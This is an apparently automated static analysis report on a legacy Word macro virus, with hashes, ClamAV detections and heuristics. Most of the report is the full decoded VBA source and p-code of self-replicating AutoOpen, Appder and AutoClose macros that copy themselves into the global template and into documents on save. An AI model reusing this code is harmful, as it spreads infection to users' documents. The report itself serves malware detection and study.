Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a38c237a98946e1…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-07-30 16:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2c1df84b4d173f2dfadb8f906e1504bf SHA-1: 155f0537518e18909d054c7c83f987b022e9a0ce SHA-256: 9a38c237a98946e1450b6f07a5b3b1958ff3841c861c67c14e1eb7792945b18d
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file exhibits characteristics of legacy macro viruses, specifically the presence of WordBasic macro virus markers and the 'Appder' and 'AutoClose' VBA macros. These macros appear to copy themselves to the global template, a common technique for establishing persistence or spreading to other documents. The ClamAV detections 'Doc.Trojan.Concept-28' and 'Doc.Trojan.Appder-1' further confirm its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        sMacro$ = sMe$ + ":AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7543 bytes
SHA-256: 853049d052ef2997199422f2d1ae22ea39d30083c05ae820ceaef441dbf78839
Detection
ClamAV: Doc.Trojan.Appder-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "         " Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Attribute VB_Name = "Appder"

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "         " Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Attribute VB_Name = "AutoClose"


Public Sub MAIN()
Dim sMe$
Dim sTMacro$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done
Quit:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

' Processing file: /tmp/qstore_0flrw6ey
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1967 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn iMacroCount
' Line #3:
' 	Dim 
' 	VarDefn i
' Line #4:
' 	Dim 
' 	VarDefn AClose
' Line #5:
' 	Dim 
' 	VarDefn Ad
' Line #6:
' 	Dim 
' 	VarDefn sMe
' Line #7:
' 	Dim 
' 	VarDefn sMacro
' Line #8:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #9:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #11:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "         "
' 	Eq 
' 	IfBlock 
' Line #12:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #18:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #19:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #20:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #21:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #23:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Label Quit 
' Line #26:
' 	EndSub 
' Macros/VBA/Appder - 1960 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn iMacroCount
' Line #3:
' 	Dim 
' 	VarDefn i
' Line #4:
' 	Dim 
' 	VarDefn AClose
' Line #5:
' 	Dim 
' 	VarDefn Ad
' Line #6:
' 	Dim 
' 	VarDefn sMe
' Line #7:
' 	Dim 
' 	VarDefn sMacro
' Line #8:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #9:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #11:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "         "
' 	Eq 
' 	IfBlock 
' Line #12:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #18:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #19:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #20:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #21:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #23:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Label Quit 
' Line #26:
' 	EndSub 
' Macros/VBA/AutoClose - 1857 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	Dim 
' 	VarDefn sMe
' Line #4:
' 	Dim 
' 	VarDefn sTMacro
' Line #5:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #6:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #7:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #9:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #10:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #11:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sTMacro$ 
' Line #13:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sTMacro$ 
' Line #15:
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #17:
' 	GoTo Done 
' Line #18:
' 	Label Quit 
' Line #19:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #20:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	Label Done 
' Line #23:
' 	EndSub

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